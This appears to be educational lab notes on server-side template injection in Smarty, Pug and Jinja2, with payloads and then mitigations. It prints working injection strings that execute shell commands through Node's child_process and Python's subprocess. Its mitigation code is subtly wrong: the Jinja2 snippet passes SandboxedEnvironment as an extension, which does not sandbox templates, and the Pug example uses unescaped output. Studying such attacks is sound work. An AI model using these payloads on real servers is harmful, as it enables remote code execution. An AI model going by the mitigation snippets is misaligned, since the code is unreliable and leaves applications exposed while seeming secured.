# Server-side Template Injection
:::info
Exploit various templating engines that lead to SSTI vulnerability.
:::
## Introduction
Server-side template Injection, or SSTI, is a vulnerability that occurs when user input is injected into a template engine of an application. This can lead to a range of security issues, including code execution, data exposure, privilege escalation, and Denial of Service (DoS). SSTI vulnerabilities are often found in web applications that use template engines to generate dynamic content and can have serious consequences if left unaddressed.
## SSTI Overview
Server-Side Template Injection (SSTI) is a vulnerability that occurs when user input is unsafely incorporated into a server-side template, allowing attackers to inject and execute arbitrary code on the server. Template engines are commonly used in web applications to generate dynamic HTML by combining fixed templates with dynamic data. When these engines process user input without proper sanitization, they become susceptible to SSTI attacks.
The core of SSTI lies in the improper handling of user input within server-side templates. **Template engines interpret and execute embedded expressions to generate dynamic content.** If an attacker can inject malicious payloads into these expressions, they can manipulate the server-side logic and potentially execute arbitrary code.
## Template Engines
### Flow of an SSTI Attack
When user input is directly embedded in templates without proper validation or escaping, attackers can craft payloads that alter the template's behaviour. This can lead to various unintended server-side actions, including:
* Reading or modifying server-side files.
* Executing system commands.
* Accessing sensitive information (e.g., environment variables, database credentials).
### Common Template Engines
:::info
Template engines are an integral part of modern web development, allowing developers to generate dynamic HTML content by combining templates with data.
Here are some of the most commonly used template engines: Jinja2->Python,Twig->PHP, Pug/Jade->Node.js
:::
### How Template Engines Parse and Process Inputs
```python!
from jinja2 import Template
hello_template = Template("Hello, {{ name }}!")
output = hello_template.render(name="World")
print(output)
```
### Determining the Template Engine

Pug, formerly known as Jade, uses a different syntax for handling expressions, which can be exploited to identify its usage. Pug/Jade evaluates JavaScript expressions within #{}. For example, using the payload #{7*7} would return 49.

## PHP-Smarty
Smarty is a powerful template engine for PHP that enables developers to separate presentation from business logic, improving application maintainability and scalability.
:::info
Smarty có syntax khác so với Jinja2 hay Twig. Nó dùng dấu {} và có modifier |.
{$username|upper\}; {'Hello'|upper\}=>HELLO
:::
Once you confirm that the site is vulnerable to SSTI via Smarty, you can craft a payload that uses PHP functions that execute system commands. One of the most common functions that do this is the **system()** function.

## NodeJs-Pug
Pug (formerly known as Jade) is a high-performance template engine widely used in the Node.js community for its concise HTML rendering and advanced features like conditionals, iterations, and template inheritance. While Pug provides powerful tools for developers, its ability to execute JavaScript code directly within templates can pose significant security risks.
:::info
Inject a basic Pug syntax to test for template processing, such as #{7*7}. If the application outputs 49, it confirms that Pug is processing the template.
:::
```javascript!
#{root.process.mainModule.require('child_process').spawnSync('ls').stdout}
```
The above payload uses Node.js's core modules to execute system commands. Below is the breakdown:
* root.process accesses the global process object from Node.js within the Pug template.
* mainModule.require('child_process') dynamically requires the child_process module, bypassing potential restrictions that might prevent its regular inclusion.
* spawnSync('ls'): Executes the ls command synchronously.
* .stdout: Captures the standard output of the command, which includes the directory listing.

When using spawnSync from child_process in Node.js, the function does not split a string into command + arguments.
spawnSync('ls -lah') ❌
→ Node tries to run a program literally named "ls -lah" (doesn’t exist) → fails.
spawnSync('ls', ['-lah']) ✅→ command = ls, args = -lah → works.


## Python-Jinja2
Jinja2 is a popular template engine for Python, renowned for its flexibility and performance.Expression evaluation {{ }}
```
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output("ls")}}
```


```
{{"".__class__.__mro__[1].__subclasses__()[157].__repr__.__globals__.get("__builtins__").get("__import__")("subprocess").check_output(['ls', '-lah'])}}
```
## Mitigation
### Jinja2
Sandbox Mode: Enable the sandboxed environment in Jinja2 to restrict the template's ability to access unsafe functions and attributes. This prevents the execution of arbitrary Python code. For example:
```python!
from jinja2 import Environment, select_autoescape, sandbox
env = Environment(
autoescape=select_autoescape(['html', 'xml']),
extensions=[sandbox.SandboxedEnvironment]
)
```
### Jade (Pug)
* Avoid Direct JavaScript Evaluation: Restrict or avoid using Pug’s ability to evaluate JavaScript code within templates. Use alternative methods to handle dynamic content that do not involve direct code execution. For example:
```javascript!
var user = !{JSON.stringify(user)}
h1= user.name
```
Use !{} carefully as it allows unescaped output, which can be harmful. Prefer #{} which escapes HTML by default.
* Validate and Sanitize Inputs: Ensure all user inputs are validated against a strict schema and sanitized before they are rendered by the template engine. This reduces the risk of malicious code execution.
* Secure Configuration Settings: Use environment settings and configuration options that minimize risks, such as disabling any features that allow script execution.
### Smarty
Disable {php} Tags: Ensure that {php} tags are disabled in Smarty configurations to prevent the execution of PHP code within templates.
```php!
$smarty->security_policy->php_handling = Smarty::PHP_REMOVE;
$smarty->disable_security = false;
```